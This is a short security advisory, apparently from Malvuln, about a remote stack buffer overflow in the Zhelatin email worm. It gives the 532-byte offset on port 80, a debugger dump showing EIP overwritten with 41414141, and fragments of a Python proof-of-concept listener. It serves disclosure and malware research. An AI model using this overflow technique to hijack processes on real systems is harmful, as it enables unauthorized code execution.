Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/0418e7f95a8b94c035e10749234f8378.txt
Vulnerability: Remote Stack Buffer Overflow
Description: Buffer overflow on server response TCP Port 80, upon receiving 532 bytes or more we can overwrite insruction pointer (EIP) to control program execution flow.
Vuln ID: MVID-2021-0014
Safe SEH: True
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EAX : 00000000
EBX : 00000000
ECX : 76E77CB1 kernel32.76E77CB1
EDX : 00000000
EBP : 41414141
ESP : 0434F2E8 "AAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESI : 76E8DE00
EDI : 764E38D0
EIP : 41414141
ExceptionCode: c0000005 (Access violation)
Attempt to read from address 41414141
eax=00000000 ebx=00000000 ecx=76e77cb1 edx=00000000 esi=76e8de00 edi=764e38d0
eip=41414141 esp=0418f2e8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
s = socket.socket()
host = ''
print('Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow')
conn, addr = s.accept()
except Exception as e:
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